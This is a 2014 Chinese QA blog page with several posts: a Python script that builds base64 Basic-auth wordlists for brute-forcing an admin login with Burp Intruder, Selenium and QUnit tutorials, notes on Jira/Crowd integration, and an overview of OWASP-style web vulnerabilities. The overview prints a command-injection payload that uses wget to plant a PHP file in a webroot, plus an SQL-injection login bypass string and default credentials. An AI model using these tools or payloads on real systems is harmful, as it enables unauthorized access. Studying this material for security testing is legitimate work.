qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

爆破字典生成小脚本(新手学python)

遇到一套系统,后台管理登录无验证码,准备爆破试试,burp抓到的包如下:
GET /admin/ HTTP/1.1
Host: www.nxadmin.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: Wed, 07 May 2014 03:04:54 GMT
If-None-Match: W/"37424//"
Authorization: Basic MTExOjIyMg==
  发现有一串base64编码处理的,解码之后正是提交的 帐号:密码的组合,只好写个小脚本将已有的字典文件进行处理了,贴上代码:
#coding:utf-8
import sys
import base64
if len(sys.argv)<3:
print "Usage:"+" admincrack.py "+"userlist "+"passlist"
sys.exit()
def admincrack(userfile,passfile):
uf=open(userfile,'r')
pf=open(passfile,'r')
for user in uf.readlines():
#指定指针的位置,不指定只会遍历userfile中的第一行
pf.seek(0)
for passwd in pf.readlines():
user=user.strip("\r\n")
passwd=passwd.strip("\r\n")
hashvul=user+':'+passwd
base64hash=base64.b64encode(hashvul)
print user,passwd,base64hash
if __name__=="__main__":
admincrack(sys.argv[1],sys.argv[2])
  生成之后先将base64hash打印出来,就会构成intruder用到的字典,再将user,passwd,base64hash一起打印出来,构成后期爆破成功需要查询对应帐号和密码明文的字典。

posted @ 2014-12-11 23:31 顺其自然EVO 阅读(350) | 评论 (0)编辑 收藏

Webdriver定位不到元素的解决办法

 不知道怎么回事,先前能跑动的case,现在元素始终找不到。
  但是我xpath是能定位得到的,debug了一下,结果发现在
  WebElementelement = locator.findElement();就卡住了。
  弄了好久也没有成功。
  网上找例子:
  Selenium2(WebDriver)_如何判断WebElement元素对象是否存在
  1.selenium中如果去寻找元素,而元素不存在的话,通常会抛出NoSuchElementException 导致测试失败,但有时候,我们需要去确保页面元素不存在,才是我们正确的验收条件下面的方法可以用来判定页面元素是否存在
    1 public boolean doesWebElementExist(WebDriver driver, By selector)
    2{
    3
    4         try
    5         {
    6                driver.findElement(selector);
    7                returntrue;
    8        }
    9        catch(NoSuchElementException e)
    10         {
    11                 return false;
    12         }
    13 }
  2.一般有这样的应用场合,例如我们要验证在一个网站是否登录成功,那么可以通过判断登录之后是否显示相应元素:
  WebElementlinkUsername =driver.findElement(By.xpath("//a[contains(text(),"+username+")]"));
  return linkUsername.isDisplayed();
  这一方法的前提是:该元素之前已经存在,仅仅需要判断是否被显示。
  现在存在另一种场合,页面元素并不存在,即通过driver.findElement只能在超时之后得到NoSuchElementException的异常。
  因此只好通过如下方法解决:
1 boolean ElementExist (ByLocator )
2{
3 try
4 {
5 driver.findElement( Locator );
6 returntrue;
7}
8 catch(org.openqa.selenium.NoSuchElementException ex)
9{
10     returnfalse;
11 }
12 }
  但这一方法仍然不理想,有这样两个问题:
  1、这一方法不属于任何一个page页,因此需要额外进行框架上的变更以支持这些功能函数,否则就必须在每一个用到该函数的page类写一遍。
  2、仍然需要等到超时才能得知结果,当需要频繁使用该函数的时候会造成相当的时间浪费。
  3.
  类似于seleniumRC中的isTextPresent方法
  用xpath匹配所有元素(//*[contains(.,'keyword')]),判断是否存在包含期望关键字的元素。
  使用时可以根据需要调整参数和返回值。
1 public boolean isContentAppeared(WebDriver driver,String content) {
2       booleanstatus = false;
3       try {
4          driver.findElement(By.xpath("//*[contains(.,'" + content +"')]"));
5           System.out.println(content + "is appeard!");
6           status = true;
7       } catch (NoSuchElementException e) {
8           status = false;
9           System.out.println("'" +content + "' doesn't exist!"));
10      }
11      return status;
12 }
  4. Xpath 多重判断
  1 while(currentPageLinkNumber<MaxPage)
  2 {
  3 WebElement PageLink;
  4 PageLink = driver.findElement(By.xpath("//a[@class = 'PageLink' and@title ='"+Integer.toString(currentPageLinkNumber+1)+"']"));
  5 PageLink.click();
  6 currentPageLinkNumber++;
  7 //OtherOperation();
  8 }
  然后又看了一篇文章
  selenium webdriver定位不到元素的五种原因及解决办法
  1.动态id定位不到元素
  for example:
  //WebElement xiexin_element = driver.findElement(By.id("_mail_component_82_82"));
  WebElement xiexin_element = driver.findElement(By.xpath("//span[contains(.,'写  信')]"));
  xiexin_element.click();
  上面一段代码注释掉的部分为通过id定位element的,但是此id“_mail_component_82_82”后面的数字会随着你每次登陆而变化,此时就无法通过id准确定位到element。
  所以推荐使用xpath的相对路径方法查找到该元素。

 2.iframe原因定位不到元素
  由于需要定位的元素在某一个frame里边,所以有时通过单独的id/name/xpath还是定位不到此元素
  比如以下一段xml源文件:
<iframe id="left_frame" scrolling="auto" frameborder="0" src="index.php?m=Index&a=Menu" name="left_frame" noresize="noresize" style="height: 100%;visibility: inherit; width: 100%;z-index: 1">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<body class="menuBg">
<div id="menu_node_type_0">
<table width="193" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<tr>
<td id="c_1">
<table class="menuSub" cellspacing="0" cellpadding="0" border="0" align="center">
<tbody>
<tr class="sub_menu">
<td>
<a href="index.php?m=Coupon&a=SearchCouponInfo" target="right_frame">密码重置</a>
</td>
</tr>
  原本可以通过
  WebElement element = driver.findElement(By.linkText("密码重置"));
  来定位此元素,但是由于该元素在iframe id="left_frame"这个frame里边  所以需要先通过定位frame然后再定位frame里边的某一个元素的方法定位此元素
  WebElement element =driver.switchTo().frame("left_frame").findElement(By.linkText("密码重置"));
  3.不在同一个frame里边查找元素
  大家可能会遇到页面左边一栏属于left_frame,右侧属于right_frame的情况,此时如果当前处在
  left_frame,就无法通过id定位到right_frame的元素。此时需要通过以下语句切换到默认的content
  driver.switchTo().defaultContent();
  例如当前所在的frame为left_frame
  WebElement xiaoshoumingxi_element = driver.switchTo().frame("left_frame").findElement(By.linkText("销售明细"));
  xiaoshoumingxi_element.click();
  需要切换到right_frame
  driver.switchTo().defaultContent();
  Select quanzhong_select2 = new Select(driver.switchTo().frame("right_frame").findElement(By.id("coupon_type_str")));
  quanzhong_select2.selectByVisibleText("售后0小时");
  4.  xpath描述错误
  这个是因为在描述路径的时候没有按照xpath的规则来写 造成找不到元素的情况出现
  5.点击速度过快  页面没有加载出来就需要点击页面上的元素
  这个需要增加一定等待时间,显示等待时间可以通过WebDriverWait 和util来实现
  例如:
  //用WebDriverWait和until实现显示等待 等待欢迎页的图片出现再进行其他操作
  WebDriverWait wait = (new WebDriverWait(driver,10));
  wait.until(new ExpectedCondition<Boolean>(){
  public Boolean apply(WebDriver d){
  boolean loadcomplete = d.switchTo().frame("right_frame").findElement(By.xpath("//center/div[@class='welco']/img")).isDisplayed();
  return loadcomplete;
  }
  });
  也可以自己预估时间通过Thread.sleep(5000);//等待5秒 这个是强制线程休息
  6.firefox安全性强,不允许跨域调用出现报错
  错误描述:uncaught exception: [Exception... "Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMNSHTMLDocument.execCommand]" nsresult: "0x80004005 (NS_ERROR_FAILURE)" location:
  解决办法:
  这是因为firefox安全性强,不允许跨域调用。
  Firefox 要取消XMLHttpRequest的跨域限制的话,第一
  是从 about:config 里设置 signed.applets.codebase_principal_support = true; (地址栏输入about:config 即可进行firefox设置)
  第二就是在open的代码函数前加入类似如下的代码: try { netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); } catch (e) { alert("Permission UniversalBrowserRead denied."); }
  最后看了乙醇的文章
import java.io.File;
importorg.openqa.selenium.By;
importorg.openqa.selenium.WebDriver;
importorg.openqa.selenium.chrome.ChromeDriver;
importorg.openqa.selenium.support.ui.ExpectedCondition;
importorg.openqa.selenium.support.ui.WebDriverWait;
public classButtonDropdown {
public static voidmain(String[] args) throws InterruptedException {
WebDriver dr = newChromeDriver();
File file = newFile("src/button_dropdown.html");
String filePath = "file:///" + file.getAbsolutePath();
System.out.printf("nowaccesss %s \n", filePath);
dr.get(filePath);
Thread.sleep(1000);
//      定位text是watir-webdriver的下拉菜单
//      首先显示下拉菜单
dr.findElement(By.linkText("Info")).click();
(newWebDriverWait(dr, 10)).until(new ExpectedCondition<Boolean>(){
public Booleanapply(WebDriver d){
returnd.findElement(By.className("dropdown-menu")).isDisplayed();
}
});
//      通过ul再层级定位
dr.findElement(By.className("dropdown-menu")).findElement(By.linkText("watir-webdriver")).click();
Thread.sleep(1000);
System.out.println("browser will be close");
dr.quit();
}
}
  然后我自己定位的。
public XiaoyuanactivityPage zipaixiuye(){
driver.navigate().refresh();
luntan.click();
WebDriverWrapper.waitPageLoad(driver,3);
(new WebDriverWait(driver, 10)).until(newExpectedCondition<Boolean>() {
public Boolean apply(WebDriverdriver){
returndriver.findElement(By.className("TFB_sub_li")).isDisplayed();
}
});
driver.findElement(By.className("TFB_sub_li")).findElement(By.linkText("自拍秀")).click();
returnPageFactory.initElements(this.getDriver(),
XiaoyuanactivityPage.class);
}
  总算成功了,成功来得真不容易啊!
  我现在还是不明白我之前的方法为什么开始可以,后面就不行了。
  但是我现在也不去探究了,我自己的问题已经解决了。
  谢谢分享文章的朋友。

posted @ 2014-12-11 23:30 顺其自然EVO 阅读(16272) | 评论 (0)编辑 收藏

Jira5.0.2与Crowd2.4.2应用集成

 前提是,你已经安装了jira与crowd(由于ldap部分其实就是crowd与ldap的集成,所以不在复述《Jira与crowd通信设置》) 请先看完《Crowd2.4.2安装破解》,《Jira5.0安装及破解》两篇文章
  新版本jira、crowd集成与以往有些不一样,首先就是配置文件的修改没有以前多了,然后就是在jira内需要设置一个应用目录,记得这个简单的地方也许就不好找。这篇文章你就多看点吧。的确写的很不好,不过如果你以前对jira有大致的了解,那看我很不好的文采文章,就能相对简单了。
  1.    创建Directories,一般把Name改写,直接默认就可以了
  2.    添加组、用户等信息,应该就不用说了,如果不清楚,可以查看《Jira与crowd通信设置》  http://kinggoo.com/app-jira-crowd-confluence-ldap.htm 或者看下面的简单步骤。
  记得,如果是jira与crowd集成那还需要在jira内设置开外部密码、外部用户管理,以及API(当然这是以前的做法了)
  1)    一些配置的修改:
  cp  /usr/local/crowd/client/crowd-integration-client-2.4.2.jar/usr/local/jira/atlassian-jira/WEB-INF/lib/cp  /usr/local/crowd/client/conf/crowd.properties /usr/local/jira/atlassian-jira/WEB-INF/classes/cp  /usr/local/crowd/client/conf/crowd-ehcache.xml /usr/local/jira/atlassian-jira/WEB-INF/classes/
  1.    修改配置文件crowd.properties
  [root@kinggoo conf]# vim ~/guanli/jira/atlassian-jira/WEB-INF/classes/crowd.propertiesapplication.name kinggoo-jira #在crowd中建立应用名称(小写)application.password arij #在crowd中建立这个应用时的密码application.login.url http://localhost:8095/crowd/console/crowd.server.url http://localhost:8095/crowd/services/ session.isauthenticated session.isauthenticated session.tokenkey session.tokenkey session.validationinterval 0 session.lastvalidation session.lastvalidation
  2.    查看配置文件propertyset.xml
  看此文件内是否有添加下面内容,如无,则添加
  <propertysetname="crowd"class="com.atlassian.crowd.integration.osuser.CrowdPropertySet"/>
  3.    修改配置文件seraph-config.xml
  <!-- CROWD:START - If enabling Crowd SSO integration uncomment the following JIRAAuthenticator and comment out the DefaultAuthenticator below -->去掉此处注释<authenticatorclass="com.atlassian.crowd.integration.seraph.v22.JIRAAuthenticator"/><!-- CROWD:END -->< -------------------下面是添加注释的 --------------><!-- CROWD:START - The authenticator below here will need to be commented out for Crowd SSO integration -->< !—在此处添加此处注释<authenticatorclass="com.atlassian.jira.security.login.JiraOsUserAuthenticator"/>--><!-- CROWD:END -->

  好如果都配置完毕,那就请重启jira服务吧!启动好后如果后台日志没问题
  Jira内创建目录:
  a)    使用安装jira时创建的帐号登陆jira,接着点击页面右上角的Administrators,这时会让你再次输入密码;
  b)    在页面USER标签里找到User Directories  并点击进入;
  c)    再次点击Add Directories 空件,如图第一、第二个图是点击后样式。
  d)    我现在选择,Crowd的下拉菜单。当然,如果你直接就做的ldap的那你可以选择;
  e)    不多说,看图,同事间隔是亮点
  f)    配置好后,保存,这时你在看你的用户,是不是已经从crowd内同步过来了
  随便拿个帐号实验一下,在crowd内添加修改等!

posted @ 2014-12-11 23:29 顺其自然EVO 阅读(188) | 评论 (0)编辑 收藏

关于测试的只言片语

  对于测试人员来说,对软件能否实现预期的功能是测试的重点。除了功能测试之外,根据用户或者客户的需求,在有的产品或者项目中,可能还会有性能测试安全测试等。尽管有很多不同的测试内容,但总结出来可以归纳为两种类型:
  一种是可以依据具体指标验证的测试,例如功能测试,某个功能有没有实现,功能是否正确实现,我们都可以有一个明确的依据进行参考确认,再比如性能测试,在指定的环境、指定的条件,系统是否达到了指定的性能指标,都有量化的数据可以验证。这种可以依据具体指标验证的功能,无论是对于开发人员去实现,或者是对于测试人员进行验证,都是可以做到具体化,便于开发,也便于测试。
  还有一种测试类型,就是不便于通过量化的指标进行测试。如颜色、样式、按钮的大小和位置。比如颜色的设置,客户对某个界面的颜色要求是红色的,开发人员根据自己的理解可能设计为深红色,而测试人员在测试的时候根据自己的经验觉得浅红色更适合。这样测试和开发在对颜色的认识和理解上不一致,就可能都没法说服对方,没法达成一致的共识,增加沟通的时间,降低项目的研发效率。
  以上关于功能和界面方面的测试都只是我们测试中一小部分的内容,还有其它方面的内容只是可能我们还没有接触到。玩过微信摇一摇的朋友都知道,我们在进入摇一摇界面摇动手机的时候,会收到到一个来福枪的声音。我想,在最初开发摇一摇功能的时候,肯定也不是来福枪的音效,肯定也是在很多种声音中经过筛选并通过使用验证后才最终确定下来的。那么,对于类似这样的音效,是否需要测试呢?如果需要测试,作为测试人员,又该拿什么标准来测试吗?仍然以微信摇一摇功能为例,摇一摇的界面很简单,没有文字说明告诉用户这个功能的作用是什么,也没提醒用户怎么去使用,但是,作为一个初次打开该功能的用户,看到摇一摇的图片都会下意识的去摇动一下。而这样的设计的初衷,都是力求简单。假设我们也在微信项目组,在微信刚开始研发的阶段,其中关于摇一摇功能的要求,有一项要求是界面简单,易于学习和操作。而这个需求肯定是没法进行量化的,不同的人有不同的理解,那作为测试人员,怎么去对这个需求进行测试是一个需要考虑的问题。
  之前有看过一篇报道,是关于深圳一座摩天大楼被发现使用了海沙(搅拌和混凝土所用的沙,是来自海边且未经过处理的海沙,而非一般常用的河沙,海沙盐分含量高,容易对钢筋产生腐蚀,进而影响到建筑物的使用寿命),后来是被相关部门勒令整改,并对当时使用海沙的部分做了技术处理。后来的处理结果怎么样,没去关注,关注的是摩天大楼作为一个硬件工程,建设过程中如果有了缺陷,怎么去修复,对于这样影响到工程质量的缺陷,又该怎么样去预防。摩天大楼不像软件产品,出现了缺陷对有问题的代码做重新编写就能够解决问题,考虑到时间成本和费用成本,对摩天大楼推到重建的可能性很小,除非有很重大的问题。
  摩天大楼等硬件工程的建设和软件产品的研发,虽然过程都不一样,但都有一个共通的东西,那就是质量的保证。怎么样将硬件产品的质量控制方法借鉴到软件工程的质量控制,是一个值得学习的过程。平时注意观察的话,可以发现生活中有很多场景需要测试工作的介入,或者用到测试思维。

posted @ 2014-12-11 23:27 顺其自然EVO 阅读(173) | 评论 (0)编辑 收藏

渗透测试必知必会—Web漏洞

0x00前言
  本文为对WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待
  0x01 目录
  0x00 前言
  0x01 目录
  0x02 OWASP TOP10 简单介绍
  0x03 乌云TOP 10 简单介绍
  0x04 非主流的WEB漏洞
  0x02 OWASP TOP10 简单介绍
  除了OWASP的TOP10,Web安全漏洞还有很多很多,在做测试和加固系统时也不能老盯着TOP10,实际上是TOP10中的那少数几个
  直接说2013的:
  A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常见,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于现在自动化工具非常多,通常都是找到注入点后直接交给以sqlmap为代表的工具
  命令注入相对来说出现得较少,形式可以是:
  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
  也可以查看案例:极路由云插件安装shell命令注入漏洞 ,未对用户输入做任何校验,因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行
  直接搜索LDAP注入案例,简单尝试下并没有找到,关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露还是挺多的,截至目前,乌云上搜关键词LDAP有81条记录。
  PHP对象注入:偶然看到有PHP对象注入这种漏洞,OWASP上对其的解释为:依赖于上下文的应用层漏洞,可以让攻击者实施多种恶意攻击,如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为:1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击,或开始一个"POP chain";2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明,或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。
  在查找资料时,看到了PHP 依赖注入,原本以为是和安全相关的,结果发现:依赖注入是对于要求更易维护,更易测试,更加模块化的代码的解决方案。果然不同的视角,对同一个词的理解相差挺多的。
  A2: 失效的身份认证及会话管理,乍看身份认证觉得是和输入密码有关的,实际上还有会话id泄露等情况,注意力集中在口令安全上:
  案例1:空口令
  乌云:国内cisco系列交换机空密码登入大集合
  乌云:UC某服务器可空口令访问数据库
  案例2:弱口令
  乌云:盛大某站后台存在简单弱口令可登录  admin/admin
  乌云:电信某省客服系统弱口令泄漏各种信息 .../123456
  乌云:中国建筑股份有限公司OA系统tomcat弱口令导致沦陷  tomcat/tomcat
  案例3:万能密码
  乌云:移动号码上户系统存在过滤不严  admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)
  弱口令案例实在不一而足
  在乌云一些弱口令如下:其中出镜次数最高的是:admin/admin, admin/123456

 如果要继续深究下去或者取得更多数据进行分析的话,结局就会如猪猪侠总结的那样:
  当然会话存在的安全问题也是需要考虑的,可以是令牌、token被窃取,尤其当会话没有设置生命周期时很容易出现会话/身份被劫持
  会话管理问题可以是用户A登陆了某个地址,但是没有注销(奇葩情况是注销无效),直接退出了浏览器又没有清除cookie,如果说这时候有B借用A的电脑,他直接以A的身份登陆该地址是没有问题的,这不是服务端的问题。但假设之后A都没有访问改地址,而是把电脑合上待机了,第二天如果B借用他的电脑直接登陆了该地址,则责任在于服务端的会话管理不当,没有设置超时时间。除此之外,还有会话重放、会话信息泄露等问题。说到会话信息泄露,不禁想起将sessionid放在URL中的情形,鄙人暂未遇到直接利用这个可以窃取会话的,但不排除其可能
  A3: 跨站脚本(XSS),最普遍的漏洞,曾被认为是鸡肋漏洞,事实证明有时候危害很大的,窃取cookie,构造蠕虫不一而足。XSS的技术体现在Javascript功底上,现在很多网站都有针对XSS的过滤器,J2EE可以使用全局过滤器,但是过滤器基本都是使用黑名单设防,是有可能绕过的,回应了技术体现在Javascript功底上。跨站脚本还有flash类型的,由于相比之下出现得比较少,浏览器和过滤器的防御精力不在这上面,如果出现可能更容易成功。值得一提的是,对于XSS,现在的扫描工具都会将其标识为高危漏洞,实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性,误报率会比较高。还有就是常规扫描器只能识别反射型XSS,反射型XSS本身危害是比较小的,存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的,因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS,则要看具体业务和数据是否会受影响,用户交互程度越高,利用难度就越大,如果能弹框证实漏洞存在,但很难被触发或者就算窃取到cookie也无法登陆,很难说明是高风险安全问题,但还是有修复和改进的必要。
  A4: 不安全的直接对象引用,访问控制不当的问题,常见为越权操作(横向+纵向),譬如:遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作,最激动人心的是可以进行刷钱等操作。越权问题并不高深,相比SQL注入和XSS技术难度还要低一点,因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单,当用户需要访问某资源或进行操作时,服务器端取出来访用户的session值,判断是否具有访问或操作权限。
  在访问控制操作中,我们可以设定某一资源或文件A可以访问、B不能访问,但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限,作为一个会话属性,属于自己的才可以操作或访问,具体情况具体讨论。
  案例1:水平越权
  乌云:虎扑某功能存在水平越权
  案例2: 垂直越权
  乌云:中国电信某系统管理员WEB界面越权访问
  A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=>运维不当,直接看运维不当的
  知乎专栏:运维安全(...)
  乌云知识库:从乌云看运维安全那点事儿
  引用一下知识库的内容,问题有:
  struts漏洞
  Web服务器未及时打补丁,有解析漏洞
  PHP-CGI RCE
  FCK编辑器
  server-status信息泄露
  网站备份文件放在web目录,可被下载
  列目录导致可看到敏感数据并查看
  snmp信息泄露
  weblogic弱口令
  SVN信息泄露
  域传送漏洞
  Rsync
  hadoop对外
  nagios信息泄露
  ftp弱口令或支持匿名访问导致信息泄露
  RTX泄露信息
  Ganglia信息泄露
  j2ee应用架构开始占主流,典型的web服务器搭配配置失误
  Jenkins平台没有设置登录验证
  zabbix
  zenoss监控系统
  Resin文件读取
  memcache未限制访问IP
  JBoss问题
  测试服务器外网可访问
  padding oracle attack
  用户名密码放在服务器上……
  A8: 跨站请求伪造(CSRF)
  CSRF曾被称为沉睡的巨人,以前拿来举例时都是说Alice给Bob转钱,结果morry插了一脚,钱就跑到morry家去了。危害可大可小,直接通过URL增删改操作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了,也曾看到过直接get root的案例
案例:万达电影主站 xss + csrf
  A10: 无效的重定向
  控制重定向可以钓鱼,可以获取敏感文件的信息,在struts2中也有开放重定向的命令执行
  0x03 乌云TOP 10 简单介绍
  上述就是OWASP TOP10的WEB漏洞,乌云出了一个更加符合中国国情的 乌云:Top10 for 2014,看着也是触目惊心
  A1-互联网泄密事件/撞库攻击
  本质上来说是使用了不安全的口令,也许我可以将自己的密码设置的很复杂,别人破解不出来。但对于撞库攻击而言,可以说是不怕神一样的对手,就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码,而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了,强密码+不同的密码,当然密码多了也难以记住,不行就借助软件或者普通账号用同一个密码,重要账号用不同密码吧
  A2-引用不安全的第三方应用
  举的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也还数见不鲜,其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的
  A3-系统错误/逻辑缺陷带来的暴力猜解
  暴力破解:没对请求和错误次数做限制;重放攻击同样是没做检验或限制
  A4-敏感信息/配置信息泄露
  包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方
  A5-应用错误配置/默认配置
  包括但不限于默认路径、默认口令、目录穿越、任意文件下载等
  A6-SQL注入漏洞
  A7-XSS跨站脚本攻击/CSRF
  A8-未授权访问/权限绕过
  可匿名访问\判断referer值后免登陆
  A9-账户体系控制不严/越权操作
  A10-内部重要资料/文档外泄
  还是信息泄露,但是做了区分,不同于应用或服务器的信息泄露,专指内部信息泄露哟
  0x04 非主流的WEB漏洞
  实际上,如果要挖漏洞或者做测试,从乌云上找案例会比较方便,除了常见的几类代码层面的问题,更多的是配置不当方面的,最终归结到信息安全链上最脆弱的还是人本身
  除了上面提到的这些,其实还有很多的漏洞啊,跟设备有关系的就先不说了,再提一下两个看起来不错的:XXE、SSRF(or XSPA)
  XXE:XML外部实体注入,不仅仅是敏感信息泄露,腾讯安全中心:XXE漏洞攻防
  案例:
  1. 乌云:百度某功能XML实体注入
  2. 乌云:139邮箱XXE漏洞可读取文件
  3. 乌云:从开源中国的某XXE漏洞到主站shell
  SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网,没爆出来的估计很多被用作杀器了
  案例:
  1. 乌云:百度贴吧SSRF
  2. 乌云:新浪SSRF
  3. 乌云:阿里巴巴SSRF
  上面几个案例有的是分享功能,有的是其他功能,共同点在于都是跟的url参数,且没做限制,导致内网信息泄露
  (未完...)

posted @ 2014-12-11 23:26 顺其自然EVO 阅读(3924) | 评论 (0)编辑 收藏

QUnit单元测试文档

QUnit.test( "hello test", function ( assert ) {
assert.ok( 1 == "1", "Passed!" );
} )
  //综述
var test = [
"QUnit.asyncTest()",//Add an asynchronous test to run. The test must include a call to QUnit.start().
"QUnit.module()", //Group related tests under a single label. 一个标签下的组相关测试
"QUnit.test()" //Add a test to run.
],
assertProperties = [
"deepEqual",//深度递归比较,基本类型,数组、对象、正则表达式、日期和功能
"notDeepEqual",
"equal",
"notEqual",
"strictEqual",//严格比较 值和类型
"strictEqual",
"propEqual",//用于严格对比对象 包括对象的值、属性的数据类型 (类似== 和===的差别)
"notPropEqual",
"expect",//期望(数量)注册一个预期的计数。如果断言运行的数量不匹配预期的统计,测试就会失败。
"ok",// 一个布尔检查
"push",//输出封装的JavaScript函数返回的结果报告
"throws"//测试如果一个回调函数抛出一个异常,并有选择地比较抛出的错误。
],
asyncControl = [
"asyncTest", // QUnit测试异步代码。asyncTest将自动停止测试运行器,等待您的代码调用QUnit.start()继续。
"start", //Start running tests again after the testrunner was stopped
"stop"  //当异步测试有多个出口点,使用QUnit.stop 增加解除test runner等待 应该调用QUnit.start()的次数。
],
callbackHandlers = [
"begin",
"done",
"log",
"moduleStart",
"moduleDone",
"testStart",
"testDone"
],
Configuration = [
"assert",
"config",
"QUnit.dump.parse()",
"QUnit.extend() "
];
 //region test
QUnit.test( "a test", function ( assert ) {
function square( x ) {
return x * x;
}
var result = square( 2 );
assert.equal( result, 4, "square(2) equals 4" );
} );
QUnit.asyncTest( "asynchronous test: one second later!", function ( assert ) {
assert.expect( 1 );
setTimeout( function () {
assert.ok( true, "Passed and ready to resume!" );
QUnit.start();
}, 1000 );
} );
//endregion
  //region assert 断言
//deepEqual   对应notDeepEqual() 深度递归比较,基本类型,数组、对象、正则表达式、日期和功能
QUnit.test( "deepEqual test", function ( assert ) {
var obj = { foo : "bar" };
assert.deepEqual( obj, { foo : "bar" }, "Two objects can be the same in value" );
} );
QUnit.test( "notDeepEqual test", function ( assert ) {
var obj = { foo : "bar" };
assert.notDeepEqual( obj, { foo : "bla" }, "Different object, same key, different value, not equal" );
} );
//equal 对应notEqual()
QUnit.test( "a test", function ( assert ) {
assert.equal( 1, "1", "String '1' and number 1 have the same value" );
assert.equal( 0, 0, "Zero, Zero; equal succeeds" );
assert.equal( "", 0, "Empty, Zero; equal succeeds" );
assert.equal( "", "", "Empty, Empty; equal succeeds" );
assert.equal( "three", 3, "Three, 3; equal fails" );
assert.equal( null, false, "null, false; equal fails" );
} );
QUnit.test( "a test", function ( assert ) {
assert.notEqual( 1, "2", "String '2' and number 1 don't have the same value" );
} );
//strictEqual()  notStrictEqual()
QUnit.test( "strictEqual test", function ( assert ) {
assert.strictEqual( 1, 1, "1 and 1 have the same value and type" );
} );
QUnit.test( "a test", function ( assert ) {
assert.notStrictEqual( 1, "1", "String '1' and number 1 have the same value but not the same type" );
} );
//propEqual notPropEqual 用于严格对比对象 包括对象的值、属性的数据类型 (equal和propEqual 类似== 和===的差别)
QUnit.test( "notPropEqual test", function ( assert ) {
function Foo( x, y, z ) {
this.x = x;
this.y = y;
this.z = z;
}
Foo.prototype.doA = function () {
};
Foo.prototype.doB = function () {
};
Foo.prototype.bar = 'prototype';
var foo = new Foo( 1, "2", [] );
var bar = new Foo( "1", 2, {} );
assert.notPropEqual( foo, bar, "Properties values are strictly compared." );
} );
//expect 期望(数量)注册一个预期的计数。如果断言运行的数量不匹配预期的统计,测试就会失败。
QUnit.test( "a test", function ( assert ) {
assert.expect( 3 );
function calc( x, operation ) {
return operation( x );
}
var result = calc( 2, function ( x ) {
assert.ok( true, "calc() calls operation function" );
return x * x;
} );
assert.equal( result, 4, "2 squared equals 4" );
} );
//ok  一个布尔检查
QUnit.test( "ok test", function ( assert ) {
assert.ok( true, "true succeeds" );
assert.ok( "non-empty", "non-empty string succeeds" );
assert.ok( false, "false fails" );
assert.ok( 0, "0 fails" );
assert.ok( NaN, "NaN fails" );
assert.ok( "", "empty string fails" );
assert.ok( null, "null fails" );
assert.ok( undefined, "undefined fails" );
} );
//push() 输出封装的JavaScript函数返回的结果报告
//一些测试套件可能需要表达一个期望,不是由任何QUnit内置的断言。这种需要一个封装的JavaScript函数,该函数返回一个布尔值,表示结果,这个值可以传递到QUnit的断言。
QUnit.assert.mod2 = function ( value, expected, message ) {
var actual = value % 2;
this.push( actual === expected, actual, expected, message );
};
QUnit.test( "mod2", function ( assert ) {
assert.expect( 2 );
assert.mod2( 2, 0, "2 % 2 == 0" );
assert.mod2( 3, 1, "3 % 2 == 1" );
} );
//测试如果一个回调函数抛出一个异常,并有选择地比较抛出的错误。
QUnit.test( "throws", function ( assert ) {
function CustomError( message ) {
this.message = message;
}
CustomError.prototype.toString = function () {
return this.message;
};
assert.throws(
function () {
throw "error"
},
"throws with just a message, not using the 'expected' argument"
);
assert.throws(
function () {
throw new CustomError( "some error description" );
},
/description/,
"raised error message contains 'description'"
);
assert.throws(
function () {
throw new CustomError();
},
CustomError,
"raised error is an instance of CustomError"
);
assert.throws(
function () {
throw new CustomError( "some error description" );
},
new CustomError( "some error description" ),
"raised error instance matches the CustomError instance"
);
assert.throws(
function () {
throw new CustomError( "some error description" );
},
function ( err ) {
return err.toString() === "some error description";
},
"raised error instance satisfies the callback function"
);
} );
//endregion
  //region async-control异步控制
